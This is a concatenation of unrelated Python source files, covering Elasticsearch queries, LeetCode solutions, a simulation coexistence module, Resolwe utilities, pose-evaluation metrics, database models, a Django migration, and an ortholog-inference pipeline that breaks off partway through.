sniffer_timeout=60) connection.create(index="eldam",doc_type='group',id='g1', body={ "gid": 234, "owner": "bemineni", "name": "Srikanth", "grp_hash": "456678", "description": "Srikanth group" }) connection.create(index="eldam",doc_type='group',id='g2', body={ "gid": 456, "owner": "bemineni", "name": "Bangaram", "grp_hash": "456678", "description": "Bangaram group" }) connection.create(index="eldam",doc_type='group',id='g3', body={ "gid": 789, "owner": "bemineni", "name": "Sammy", "grp_hash": "456678", "description": "Sammy group" }) connection.indices.refresh(index="_all") item = {} item['query'] = { "wildcard": { "_uid": { "value":"g*" } } } print(json.dumps(item,indent=4,sort_keys=True)) # data = connection.get_source(index="eldam",doc_type="group",id='g1') # print(json.dumps(data,indent=4,sort_keys=True)) # data = connection.get_source(index="eldam",doc_type="group",id='g2') # print(json.dumps(data,indent=4,sort_keys=True)) # data = connection.get_source(index="eldam",doc_type="group",id='g3') # print(json.dumps(data,indent=4,sort_keys=True)) print("*******************Search Data*********************") data = connection.search(index="eldam",doc_type="group",body={'query':item['query']},_source=True) print(json.dumps(data,indent=4,sort_keys=True)) except Exception as e: traceback.print_exc() ret = 1 sys.exit(ret) sagasu/python-algorithms class Solution: def palindromePairs(self, words: List[str]) -> List[List[int]]: lookup = {} for index, word in enumerate(words): lookup[word] = index ans = set() for index, word in enumerate(words): for k in range(len(word) + 1): current = word[:k][::-1] if current in lookup and lookup[current] != index : newword = word + current if newword == newword[::-1]: ans.add((index, lookup[current])) current = word[len(word) - k:][::-1] if current in lookup and lookup[current]!=index: newword = current + word if newword == newword[::-1]: ans.add((lookup[current], index)) return list(ans)"""Find the coexistence properties of grand canonical expanded ensemble simulations. """ import copy import os.path import numpy as np from scipy.optimize import fsolve from coex.activity import activities_to_fractions, fractions_to_activities from coex.activity import read_bz, read_zz from coex.dist import read_lnpi from coex.hist import read_all_nhists, read_hist class SamplingError(Exception): pass class Phase(object): """Calculate the coexistence properties of the output of a grand canonical expanded ensemble simulation. Attributes: dist: A Distribution object. path: The location of the simulation data. index: The reference subensemble index. nhists: A list of molecule number VisitedStatesHistogram objects. fractions: A numpy array of the (chi, eta_j) activity fractions of the simulation. beta: An optional list of thermodynamic beta (1/kT) values, for temperature expanded ensemble simulations. weights: The logarithm of the initial activities minus the logarithm of the coexistence activities, used to calculate the average number of molecules at the coexistence point via histogram reweighting. """ def __init__(self, dist, path, index, nhists=None, activities=None, beta=None, weights=None): self.dist = dist self.path = path self.index = index self.nhists = nhists self.activities = activities self.beta = beta self.weights = weights if weights is None: self.weights = np.tile(None, activities.shape) @property def fractions(self): return activities_to_fractions(self.activities) @fractions.setter def fractions(self, frac): self.activities = fractions_to_activities(frac) def shift_to_coexistence(self, solutions, species): """Shift the activities and order parameter probability distribution to the coexistence point. Args: solutions: A list of log(activitiy) differences. species: The species used in histogram reweighting. """ log_old_act = np.log(self.activities) if species == 0: frac = activities_to_fractions(self.activities) frac[0] -= solutions self.activities = fractions_to_activities(frac) for i, sol in enumerate(solutions): self.dist.log_probs[i] += self.nhists[species][i].reweight(sol) if species != 0: new_act = np.exp(log_old_act[species - 1, i] - sol) self.activities[species - 1, i] = new_act self.weights = np.nan_to_num(log_old_act - np.log(self.activities)) def get_composition(self): """Calculate the weighted average composition of the phase. Returns: A numpy array with the mole fraction of each species in each subensemble. """ if len(self.nhists) < 3: return np.tile(1.0, len(self.dist)) nm = self.get_average_n() return nm / sum(nm) @property def grand_potential(self): """Calculate the grand potential of each subensemble. This function walks the length of the expanded ensemble path (forwards or backwards) and uses the N=0 visited state distribution to calculate the grand potential of each subensemble if applicable. If the N=0 state is not sampled sufficiently, the free energy difference between subensembles is used. Note that this function will not work for liquid phases, which do not usually have the N=0 state sampled. Returns: A numpy array with the grand potential of each subensemble. """ lnpi = self.dist.log_probs gp = np.zeros(len(lnpi)) nhist = self.nhists[0] def get_sampled_vapor_subensembles(): return np.array([True if (d.bins[0] < 1.0e-8 and d.counts[0] > 1000) else False for d in nhist]) def calculate_range(iter_range, is_reversed=False): in_sampled_block = True for i in iter_range: d = nhist[i] if sampled[i] and in_sampled_block: gp[i] = np.log(d.counts[0] / sum(d.counts)) else: in_sampled_block = False if is_reversed: gp[i] = gp[i + 1] + lnpi[i + 1] - lnpi[i] else: gp[i] = gp[i - 1] + lnpi[i - 1] - lnpi[i] sampled = get_sampled_vapor_subensembles() if sampled[0]: calculate_range(range(len(gp))) elif sampled[-1]: calculate_range(reversed(range(len(gp))), is_reversed=True) else: if np.count_nonzero(sampled) == 0: raise SamplingError("{}\n{}".format( "Can't find a sampled subensemble for the grand", 'potential calculation. Is this phase a liquid?')) first_sampled = np.nonzero(sampled)[0][0] calculate_range(range(first_sampled, 0), is_reversed=True) calculate_range(range(first_sampled, len(gp))) return gp def get_average_n(self): """Calculate the weighted average number of molecules. Returns: A numpy array with the number of molecules of each species in each subensemble. """ hists = self.nhists[1:] if len(hists) > 1: return np.array([h.average(w) for h, w in zip(hists, self.weights)]) return hists[0].average(self.weights[0]) def read_phase(path, index, fractions=None, beta=None): """Read the relevant data from an exapnded ensemble simulation directory. Args: path: The directory containing the data. index: The reference subensemble index. fractions: The reference activity fractions. beta: The reference inverse temperature (1/kT). Returns: A Phase object with the data contained in the given directory. """ dist = read_lnpi(os.path.join(path, 'lnpi_op.dat')) nhists = read_all_nhists(path) bb = None try: bz = read_bz(os.path.join(path, 'bz.dat')) bb = bz['beta'] act = fractions_to_activities(bz['fractions']) except FileNotFoundError: try: act = fractions_to_activities( read_zz(os.path.join(path, 'zz.dat'))) except FileNotFoundError: act = None logp_shift = -dist.log_probs[index] if beta is not None: energy = read_hist(os.path.join(path, 'ehist.dat'))[index] diff = beta - bb[index] bb[index] = beta logp_shift += energy.reweight(diff) if fractions is not None: ref_act = fractions_to_activities(fractions, one_subensemble=True) ratios = np.nan_to_num(np.log(act[:, index]) - np.log(ref_act)) act[:, index] = ref_act for nh, r in zip(nhists[1:], ratios): logp_shift += nh[index].reweight(r) dist.log_probs += logp_shift return Phase(dist=dist, path=path, index=index, nhists=nhists, activities=act, beta=bb) def read_phases(paths, index, fractions=None, beta=None): """Read the relevant data from a list of exapnded ensemble simulations with the same reference point. Args: paths: A list of directories containing the data to read. index: The reference subensemble index. fractions: The reference activity fractions. beta: The reference inverse temperature (1/kT). Returns: A tuple of Phases the data in each directory. """ return (read_phase(p, index, fractions, beta) for p in paths) def get_liquid_liquid_coexistence(first, second, species, grand_potential, x0=0.01): """Find the coexistence point of two liquid phases. Note that the two phases must already be shifted to their appropriate reference points. Args: first: A Phase object with data for the first phase. second: A Phase object with data for the second phase. species: The species to use for histogram reweighting. grand_potential: The reference grand potential. x0: The initial guess to use for the solver. Returns: A tuple with the two Phase objects at coexistence. """ fst = copy.deepcopy(first) snd = copy.deepcopy(second) for p in fst, snd: p.dist.log_propbs -= p.dist[p.index] + grand_potential return _get_two_phase_coexistence(fst, snd, species, x0) def get_liquid_vapor_coexistence(liquid, vapor, species, x0=0.01): """Find the coexistence point of a liquid phase and a vapor phase. Args: liquid: A Phase object with the liquid data. vapor: A Phase object with the vapor data. species: The species to use for histogram reweighting. x0: The initial guess to use for the solver. Returns: A tuple with the two Phase objects at coexistence. Notes: The liquid and vapor phases must already be shifted to their appropriate reference points. """ liq = copy.deepcopy(liquid) vap = copy.deepcopy(vapor) try: gp = vap.grand_potential except SamplingError as e: raise RuntimeError('{}\n{}'.format( 'Consider using get_liquid_liquid_coexistence() with a ', 'reference grand potential.')) from e vap.dist.log_probs = -gp liq.dist.log_probs += vap.dist[vap.index] - liq.dist[liq.index] return _get_two_phase_coexistence(liq, vap, species, x0) def _get_two_phase_coexistence(first, second, species, x0): """Find the coexistence point of two grand canonical expanded ensemble simulations. Args: first: A Phase object with data for the first phase. second: A Phase object with data for the second phase. species: The integer representing which species to use for the reweighting. x0: The initial guess to use for the solver. Returns: A tuple with the two Phase objects at coexistence. Notes: The first and second phases must already be shifted to their appropriate reference points. """ def solve(i): def objective(x): fst = first.dist[i] + first.nhists[species][i].reweight(x) snd = second.dist[i] + second.nhists[species][i].reweight(x) return np.abs(fst - snd) if i == first.index or i == second.index: return 0.0 return fsolve(objective, x0=x0)[0] solutions = [solve(i) for i in range(len(first.dist))] for p in first, second: p.shift_to_coexistence(solutions, species) return first, second tristanbrown/resolwe-bio-py """Resource utility functions.""" from __future__ import absolute_import, division, print_function, unicode_literals def iterate_fields(fields, schema): """Recursively iterate over all DictField sub-fields. :param fields: Field instance (e.g. input) :type fields: dict :param schema: Schema instance (e.g. input_schema) :type schema: dict """ schema_dict = {val['name']: val for val in schema} for field_id, properties in fields.items(): if 'group' in schema_dict[field_id]: for _field_sch, _fields in iterate_fields(properties, schema_dict[field_id]['group']): yield (_field_sch, _fields) else: yield (schema_dict[field_id], fields) def find_field(schema, field_name): """Find field in schema by field name. :param schema: Schema instance (e.g. input_schema) :type schema: dict :param field_name: Field name :type field_name: string """ for field in schema: if field['name'] == field_name: return field def iterate_schema(fields, schema, path=None): """Recursively iterate over all schema sub-fields. :param fields: Field instance (e.g. input) :type fields: dict :param schema: Schema instance (e.g. input_schema) :type schema: dict :path schema: Field path :path schema: string """ for field_schema in schema: name = field_schema['name'] if 'group' in field_schema: for rvals in iterate_schema(fields[name] if name in fields else {}, field_schema['group'], None if path is None else '{}.{}'.format(path, name)): yield rvals else: if path is None: yield (field_schema, fields) else: yield (field_schema, fields, '{}.{}'.format(path, name)) def fill_spaces(word, desired_length): """Fill spaces at the end until word reaches desired length.""" return str(word) + ' ' * (desired_length - len(word)) def _print_input_line(element_list, level): """Pretty print of input_schema.""" spacing = 2 for element in element_list: if "group" in element: print("{}- {} - {}".format(' ' * level, element['name'], element['label'])) _print_input_line(element['group'], level + 1) else: max_name_len = max([len(elm['name']) for elm in element_list]) max_type_len = max([len(elm['type']) or 0 for elm in [e for e in element_list if 'group' not in e]]) print("{}- {} {} - {}".format( ' ' * level, fill_spaces(element['name'], max_name_len + spacing), fill_spaces("[" + element['type'] + "]", max_type_len + spacing), element['label'])) def endswith_colon(schema, field): """Ensure the field ends with colon. :param schema: Register process from source YAML file :type schema: dict :param field: field name :type field: str """ if field in schema and not schema[field].endswith(':'): schema[field] += ':' def get_collection_id(collection): """Return id attribute of the object if it is collection, otherwise return given value.""" return collection.id if type(collection).__name__ == 'Collection' else collection def get_data_id(data): """Return id attribute of the object if it is data, otherwise return given value.""" return data.id if type(data).__name__ == 'Data' else data def get_descriptor_schema_id(dschema): """Get descriptor schema id. Return id attribute of the object if it is descriptor schema, otherwise return given value. """ return dschema.id if type(dschema).__name__ == 'DescriptorSchema' else dschema def get_process_id(process): """Return id attribute of the object if it is process, otherwise return given value.""" return process.id if type(process).__name__ == 'Process' else process def get_sample_id(sample): """Return id attribute of the object if it is sample, otherwise return given value.""" return sample.id if type(sample).__name__ == 'Sample' else sample def get_relation_id(relation): """Return id attribute of the object if it is relation, otherwise return given value.""" return relation.id if type(relation).__name__ == 'Relation' else relation def is_collection(collection): """Return ``True`` if passed object is Collection and ``False`` otherwise.""" return type(collection).__name__ == 'Collection' def is_data(data): """Return ``True`` if passed object is Data and ``False`` otherwise.""" return type(data).__name__ == 'Data' def is_descriptor_schema(data): """Return ``True`` if passed object is DescriptorSchema and ``False`` otherwise.""" return type(data).__name__ == 'DescriptorSchema' def is_process(process): """Return ``True`` if passed object is Process and ``False`` otherwise.""" return type(process).__name__ == 'Process' def is_sample(sample): """Return ``True`` if passed object is Sample and ``False`` otherwise.""" return type(sample).__name__ == 'Sample' def is_relation(relation): """Return ``True`` if passed object is Relation and ``False`` otherwise.""" return type(relation).__name__ == 'Relation' def is_user(user): """Return ``True`` if passed object is User and ``False`` otherwise.""" return type(user).__name__ == 'User' def is_group(group): """Return ``True`` if passed object is Group and ``False`` otherwise.""" return type(group).__name__ == 'Group' def get_samples(resource): """Get the list of samples from given resources. Get the list of samples with: * use recursion if given resource is a list * return the resource if it is already the sample * call ResolweQuery object named `samples` (if exists) and return the result """ error_msg = ("Resource should be sample, have `samples` query, be list of multiple " "resources or be data object with not empty `sample` property.") if isinstance(resource, list): samples = [] for res in resource: samples.extend(get_samples(res)) return samples elif is_data(resource): if not resource.sample: raise TypeError(error_msg) return [resource.sample] elif is_sample(resource): return [resource] elif hasattr(resource, 'samples'): return resource.samples else: raise TypeError(error_msg) def get_resource_collection(resource, fail_silently=True): """Get id of the collection to which resource belongs. If resource does not belong to any collection or collection cannot be determined uniquely, ``None`` is returned of ``LookupError`` is raised (if ``fail_silently`` is set to ``True``). """ if is_collection(resource): return resource.id elif hasattr(resource, 'collection'): return resource.collection.id elif hasattr(resource, 'collections'): collections = resource.collections if len(collections) == 1: return collections[0].id if fail_silently: return None raise LookupError('Collection id cannot be determined uniquely.') def get_resolwe(*resources): """Return resolwe object used in given resources. Raise an error if there is more than one. """ resolwes = {res_obj.resolwe for res_obj in resources} if len(resolwes) != 1: raise TypeError('All input objects must be from the same `Resolwe` connection.') return list(resolwes)[0] def is_background(sample): """Return ``True`` if given sample is background and ``False`` otherwise.""" background_relations = sample.resolwe.relation.filter( type='compare', label='background', entity=sample.id, position='background' ) return len(background_relations) > 0 0 import torch import numpy as np from common import Config from utils.basic_utils import Basic_Utils config = Config(ds_name='ycb') bs_utils = Basic_Utils(config) config = Config(ds_name='ycb') cls_lst = config.ycb_cls_lst def eval_metric( cls_ids, pred_pose_lst, pred_cls_ids, RTs, pred_kpc_lst ): n_cls = config.n_classes cls_add_dis = [list() for i in range(n_cls)] cls_adds_dis = [list() for i in range(n_cls)] for icls, cls_id in enumerate(cls_ids): if cls_id == 0: break cls_idx = np.where(pred_cls_ids == cls_id[0].item())[0] if len(cls_idx) == 0: pred_RT = torch.zeros(3, 4).cuda() else: pred_RT = pred_pose_lst[cls_idx[0]] pred_kp = pred_kpc_lst[cls_idx[0]][:-1, :] pred_RT = torch.from_numpy(pred_RT.astype(np.float32)).cuda() gt_RT = RTs[icls] mesh_pts = bs_utils.get_pointxyz_cuda(cls_lst[cls_id-1]).clone() add = bs_utils.cal_add_cuda(pred_RT, gt_RT, mesh_pts) adds = bs_utils.cal_adds_cuda(pred_RT, gt_RT, mesh_pts) cls_add_dis[cls_id].append(add.item()) cls_adds_dis[cls_id].append(adds.item()) cls_add_dis[0].append(add.item()) cls_adds_dis[0].append(adds.item()) return cls_add_dis, cls_adds_dishpaul/iconic_network from playhouse.sqlite_ext import * from playhouse.migrate import * from peewee import * # The initialisation db = SqliteDatabase('../cache/iconic.db', pragmas={ 'journal_mode': 'wal', 'cache_size': '-2000', 'fullfsync': 'on', 'journal_size_limit': '-1', 'threads': '8', 'foreign_keys': 1, # Enforce foreign-key constraints }) # The initialisation #network = MySQLDatabase('iconic', user='root', host='127.0.0.1', password='') class BaseModel(Model): class Meta: database = db # class BaseNetwork(Model): # class Meta: # database = network class Author(BaseModel): id = BigIntegerField(unique=True, index=True, primary_key=True) full_name = JSONField(null=True) subject_areas = JSONField(null=True) document_count = BigIntegerField(null=True) cited_by_count = BigIntegerField(null=True) citations_count = BigIntegerField(null=True) h_index = BigIntegerField(null=True) coauthors_count = BigIntegerField(null=True) # Data about affiliation affiliation_current = JSONField(null=True) cat = JSONField(null=True) country = JSONField(null=True) docs_fetched = BooleanField(default=False) last_page = BigIntegerField(null=True,default=0) is_sample = BooleanField(default=False) citations = JSONField(null=True) class Collaboration(BaseModel): abs_id = BigIntegerField(unique=True, index=True, primary_key=True) authors = JSONField(null=True) published = DateField(null=True) cited_by = IntegerField(null=True) keywords = JSONField(null=True) coll_count = IntegerField(null=True) message = TextField(null=True) saved = BooleanField(default=False) class Coauthors(BaseModel): id = BigIntegerField(unique=True, index=True, primary_key=True) co_list = JSONField(null=True) last_page = IntegerField(null=True) saved = BooleanField(default=False) # class AuthorDetails(BaseNetwork): # id = BigAutoField(unique=True, index=True, primary_key=True) # full_name = TextField(null=True) # preferred_name = TextField(null=True) # affiliation_id = BigIntegerField(unique=True, index=True, null=True) # url = TextField(null=True) # class Network(BaseNetwork): # id = BigAutoField(unique=True, index=True, primary_key=True) # from_author = BigIntegerField(index=True) # to_author = BigIntegerField(index=True) # article = BigIntegerField(index=True) # keywords = JSONField(null=True) # year = IntegerField(null=True) # citations = IntegerField(null=True) # class Affiliation(BaseNetwork): # url = TextField(null=True) horacexd/clist # -*- coding: utf-8 -*- # Generated by Django 1.11.10 on 2018-02-06 01:55 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('events', '0018_auto_20180206_0151'), ] operations = [ migrations.AlterField( model_name='participant', name='coder', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='true_coders.Coder'), ), migrations.AlterField( model_name='participant', name='event', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='events.Event'), ), ] QinganZhao/LXXtCodeLeetCode/447. Number of Boomerangs.py class Solution: def numberOfBoomerangs(self, points: List[List[int]]) -> int: res = 0 for i in points: dic = {} for j in points: dic[self.distance(i, j)] = dic.get(self.distance(i, j), 0) + 1 for val in dic.values(): res += val * (val - 1) return res def distance(self, a, b): return (a[0] - b[0]) ** 2 + (a[1] - b[1]) ** 2 kinortho.py import math import os import sys def avg_evalue(ev_1, ev_2): if ev_1 == 0: ev_1 = float(min_e) if ev_2 == 0: ev_2 = float(min_e) avg = pow(10, ((math.log10(ev_1)+math.log10(ev_2))/2)) return avg def build_blast_db(seq_file, db_name): command = 'makeblastdb -in ' + seq_file command += ' -dbtype prot -out ' + db_name os.system(command) def build_graph(ortholog_file, out_file, is_full_pipeline): sys.stdout.write('\tReading ortholog file') species_pair_weight_sum = {} species_pair_weight_count = {} species_weight_sum = {} species_weight_count = {} file = open(ortholog_file, 'r') lines = file.readlines() file.close() for i in range(0, len(lines)): toks = lines[i].split('\t') protein_1 = toks[0] protein_2 = toks[1] weight = -math.log10(float(toks[2])) species_1 = '' species_2 = '' if is_full_pipeline: species_1 = protein_to_species[protein_1] species_2 = protein_to_species[protein_2] else: species_1 = protein_to_species[protein_1[:protein_1.rindex('|')]] species_2 = protein_to_species[protein_2[:protein_2.rindex('|')]] species_pair = species_1 + '\t' + species_2 if species_1 > species_2: species_pair = species_2 + '\t' + species_1 # Ortholog and Co-ortholog if species_1 != species_2: if species_pair not in species_pair_weight_sum: species_pair_weight_sum[species_pair] = weight species_pair_weight_count[species_pair] = 1 else: species_pair_weight_sum[species_pair] += weight species_pair_weight_count[species_pair] += 1 # In-paralog else: if species_1 not in species_weight_sum: species_weight_sum[species_1] = weight species_weight_count[species_1] = 1 else: species_weight_sum[species_1] += weight species_weight_count[species_1] += 1 if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') # Normalization sys.stdout.write('\tNormalizing weight') out = open(out_file, 'w') for i in range(0, len(lines)): toks = lines[i].split('\t') protein_1 = toks[0] protein_2 = toks[1] weight = -math.log10(float(toks[2])) species_1 = '' species_2 = '' if is_full_pipeline: species_1 = protein_to_species[protein_1] species_2 = protein_to_species[protein_2] else: species_1 = protein_to_species[protein_1[:protein_1.rindex('|')]] species_2 = protein_to_species[protein_2[:protein_2.rindex('|')]] species_pair = species_1 + '\t' + species_2 if species_1 > species_2: species_pair = species_2 + '\t' + species_1 # Ortholog and Co-ortholog norm_weight = weight if species_1 != species_2: norm_weight /= (species_pair_weight_sum[species_pair]/species_pair_weight_count[species_pair]) # In-paralog else: norm_weight /= (species_weight_sum[species_1]/species_weight_count[species_1]) out.write(protein_1 + '\t' + protein_2 + '\t' + str(norm_weight) + '\n') if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') out.close() def clustering(graph_file, out_name): command = 'mcxload -abc ' + graph_file command += ' -o ' + out_name + '.mci' command += ' -write-tab ' + out_name + '.tab' os.system(command) command = 'mcl ' + out_name + '.mci' command += ' -I ' + inflat + ' -te ' + thread command += ' -o ' + out_name + '.out' os.system(command) def combin_result(full_result, domain_result, out_file): # Full-length result sys.stdout.write('\tReading full-length result') protein_pair_to_info = {} file = open(full_result, 'r') lines = file.readlines() file.close() for i in range(1, len(lines)): toks = lines[i].rstrip().split('\t') protein_1 = toks[1] protein_2 = toks[3] ev = toks[4] weight = toks[5] relationship = toks[6] info = ev + '\t' + weight + '\t' + relationship protein_pair_to_info[protein_1 + '\t' + protein_2] = info if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') # Domain-based result sys.stdout.write('\tReading domain-based result') out = open(out_file, 'w') header = 'Species_1' + '\t' + 'Protein_1' + '\t' + 'Domain_1' + '\t' header += 'Species_2' + '\t' + 'Protein_2' + '\t' + 'Domain_2' + '\t' header += 'E-value_Full' + '\t' + 'E-value_Domain' + '\t' header += 'Weight_Full' + '\t' + 'Weight_Domain' + '\t' + 'Relationship' out.write(header + '\n') file = open(domain_result, 'r') lines = file.readlines() file.close() for i in range(1, len(lines)): toks = lines[i].rstrip().split('\t') species_1 = toks[0] protein_1 = toks[1] domain_1 = toks[2] species_2 = toks[3] protein_2 = toks[4] domain_2 = toks[5] ev = toks[6] weight = toks[7] relationship = toks[8] protein1_protein2 = protein_1 + '\t' + protein_2 protein2_protein1 = protein_2 + '\t' + protein_1 #Overlapping if protein1_protein2 in protein_pair_to_info: info = protein_pair_to_info[protein1_protein2].split('\t') ev_full = info[0] weight_full = info[1] relationship_full = info[2] if relationship_full == relationship: print_line = species_1 + '\t' + protein_1 + '\t' + domain_1 + '\t' print_line += species_2 + '\t' + protein_2 + '\t' + domain_2 + '\t' print_line += ev_full + '\t' + ev + '\t' print_line += weight_full + '\t' + weight + '\t' + relationship out.write(print_line + '\n') if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') out.close() def filtering(homolog_file, ortholog_file, graph_file, cluster_name, out_file, is_full_pipeline): # Query sequences (closest) query_seq = {} query_seq_best_hit = {} if homolog_file != '': sys.stdout.write('\tReading homology search result') file = open(homolog_file, 'r') lines = file.readlines() file.close() for i in range(0, len(lines)): toks = lines[i].split('\t') if toks[0] not in query_seq: query_seq[toks[0]] = '' query_seq_best_hit[toks[1]] = '' if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') # Index-protein mapping index_to_protein = {} protein_to_index = {} file = open(cluster_name + '.tab', 'r') lines = file.readlines() file.close() for line in lines: toks = line.rstrip().split('\t') index_to_protein[toks[0]] = toks[1] protein_to_index[toks[1]] = toks[0] # Index-group mapping index_to_group = {} group_contain_query_seq = {} file = open(cluster_name + '.out', 'r') lines = file.readlines() file.close() begin = 0 now_group = '' for line in lines: toks = line.rstrip().split() if toks[0] == 'begin': begin = 1 elif begin: first_index = 0 if line[0:1] != ' ': now_group = toks[0] first_index = 1 for i in range(first_index, len(toks)): if toks[i] != '$': index_to_group[toks[i]] = now_group protein = index_to_protein[toks[i]] if protein in query_seq_best_hit: group_contain_query_seq[now_group] = '' elif '|' in protein and protein[:protein.rindex('|')] in query_seq_best_hit: group_contain_query_seq[now_group] = '' # Weight between protein 1 and protein 2 sys.stdout.write('\tReading graph file') protein_pair_weight = {} file = open(graph_file, 'r') lines = file.readlines() file.close() for i in range(0, len(lines)): toks = lines[i].rstrip().split('\t') protein_1 = toks[0] protein_2 = toks[1] weight = toks[2] protein_pair_weight[protein_1 + '\t' + protein_2] = weight if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') # Print results sys.stdout.write('\tPrinting result') out = open(out_file, 'w') if is_full_pipeline: header = 'Species_1' + '\t' + 'Protein_1' + '\t' + 'Species_2' + '\t' + 'Protein_2' header += '\t' + 'E-value' + '\t' + 'Weight' + '\t' + 'Relationship' out.write(header + '\n') else: header = 'Species_1' + '\t' + 'Protein_1' + '\t' + 'Domain_1' + '\t' header += 'Species_2' + '\t' + 'Protein_2' + '\t' + 'Domain_2' + '\t' header += 'E-value' + '\t' + 'Weight' + '\t' + 'Relationship' out.write(header + '\n') file = open(ortholog_file, 'r') lines = file.readlines() file.close() for i in range(0, len(lines)): toks = lines[i].rstrip().split('\t') protein_1 = toks[0] protein_2 = toks[1] domain_1 = '' domain_2 = '' protein1_protein2 = protein_1 + '\t' + protein_2 protein2_protein1 = protein_2 + '\t' + protein_1 weight = '' if protein1_protein2 in protein_pair_weight: weight = protein_pair_weight[protein1_protein2] else: weight = protein_pair_weight[protein2_protein1] ev = toks[2] relationship = toks[3] index_1 = protein_to_index[protein_1] index_2 = protein_to_index[protein_2] group_1 = index_to_group[index_1] group_2 = index_to_group[index_2] if not is_full_pipeline: domain_1 = protein_1[protein_1.rindex('|')+1:] domain_2 = protein_2[protein_2.rindex('|')+1:] protein_1 = protein_1[:protein_1.rindex('|')] protein_2 = protein_2[:protein_2.rindex('|')] species_1 = protein_to_species[protein_1] species_2 = protein_to_species[protein_2] # Filtering if group_1 == group_2 and (group_1 in group_contain_query_seq or homolog_file == ''): if is_full_pipeline: print_line = species_1 + '\t' + protein_1 + '\t' + species_2 + '\t' + protein_2 print_line += '\t' + ev + '\t' + weight + '\t' + relationship out.write(print_line + '\n') else: print_line = species_1 + '\t' + protein_1 + '\t' + domain_1 + '\t' print_line += species_2 + '\t' + protein_2 + '\t' + domain_2 + '\t' print_line += ev + '\t' + weight + '\t' + relationship out.write(print_line + '\n') if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') out.close() def homology_search(seq_file, db_name, out_file): command = 'blastp -outfmt "6 qseqid sseqid sstart send evalue bitscore positive" -max_hsps 1' command += ' -query ' + seq_file command += ' -db ' + db_name command += ' -num_threads ' + thread command += ' -evalue ' + e_value command += ' > ' + out_file os.system(command) def orthology_inference(allvsall_file, out_file, is_full_pipeline): # Ortholog sys.stdout.write('\tInferring ortholog') best_protein_species = {} best_protein_species_ev = {} is_ortholog = {} has_orthologs = {} file = open(allvsall_file, 'r') lines = file.readlines() file.close() out = open(out_file, 'w') for i in range(0, len(lines)): toks = lines[i].split('\t') protein_1 = toks[0] protein_2 = toks[1] ev = float(toks[4]) species_1 = '' species_2 = '' if is_full_pipeline: species_1 = protein_to_species[protein_1] species_2 = protein_to_species[protein_2] else: species_1 = protein_to_species[protein_1[:protein_1.rindex('|')]] species_2 = protein_to_species[protein_2[:protein_2.rindex('|')]] protein1_species2 = protein_1 + '\t' + species_2 protein2_species1 = protein_2 + '\t' + species_1 # Identify bidirectional best hit if species_1 != species_2: if protein1_species2 not in best_protein_species: best_protein_species[protein1_species2] = protein_2 best_protein_species_ev[protein1_species2] = ev if protein2_species1 in best_protein_species: if best_protein_species[protein2_species1] == protein_1: is_ortholog[protein_1 + '\t' + protein_2] = '' has_orthologs[protein_1] = '' has_orthologs[protein_2] = '' avg_ev = avg_evalue(ev, best_protein_species_ev[protein2_species1]) out.write(protein_1 + '\t' + protein_2 + '\t' + str(avg_ev) + '\t' + 'Ortholog' + '\n') if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') best_protein_species = {} best_protein_species_ev = {} # In-paralog sys.stdout.write('\tInferring in-paralog') in_other_species = {} candidate_inparalog = {} protein2inparalogs = {} for i in range(0, len(lines)): toks = lines[i].split('\t') protein_1 = toks[0] protein_2 = toks[1] ev = float(toks[4]) species_1 = '' species_2 = '' if is_full_pipeline: species_1 = protein_to_species[protein_1] species_2 = protein_to_species[protein_2] else: species_1 = protein_to_species[protein_1[:protein_1.rindex('|')]] species_2 = protein_to_species[protein_2[:protein_2.rindex('|')]] protein1_protein2 = protein_1 + '\t' + protein_2 protein2_protein1 = protein_2 + '\t' + protein_1 # Identify bidirectional better hit if species_1 != species_2: in_other_species[protein_1] = '' elif protein_1 not in in_other_species: candidate_inparalog[protein1_protein2] = ev if protein2_protein1 in candidate_inparalog: if protein_1 in has_orthologs or protein_2 in has_orthologs: is_inparalog = 0 if is_full_pipeline: if protein_1 != protein_2: is_inparalog = 1 else: if protein_1[:protein_1.rindex('|')] != protein_2[:protein_2.rindex('|')]: is_inparalog = 1 if is_inparalog: avg_ev = avg_evalue(ev, candidate_inparalog[protein2_protein1]) out.write(protein_1 + '\t' + protein_2 + '\t' + str(avg_ev) + '\t' + 'In-paralog' + '\n') if protein_1 not in protein2inparalogs: protein2inparalogs[protein_1] = protein_2 else: protein2inparalogs[protein_1] += "\t" + protein_2 if protein_2 not in protein2inparalogs: protein2inparalogs[protein_2] = protein_1 else: protein2inparalogs[protein_2] += "\t" + protein_1 if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') in_other_species = {} candidate_inparalog = {} # Co-ortholog sys.stdout.write('\tInferring co-ortholog') candidate_coortholog = {} for i in range(0, len(lines)): toks = lines[i].split('\t') protein_1 = toks[0] protein_2 = toks[1] ev = float(toks[4]) species_1 = '' species_2 = '' if is_full_pipeline: species_1 = protein_to_species[protein_1] species_2 = protein_to_species[protein_2] else: species_1 = protein_to_species[protein_1[:protein_1.rindex('|')]] species_2 = protein_to_species[protein_2[:protein_2.rindex('|')]] protein1_protein2 = protein_1 + '\t' + protein_2 protein2_protein1 = protein_2 + '\t' + protein_1 if species_1 != species_2: if protein2_protein1 not in candidate_coortholog: # Case 1: A1 -> In-paralog -> 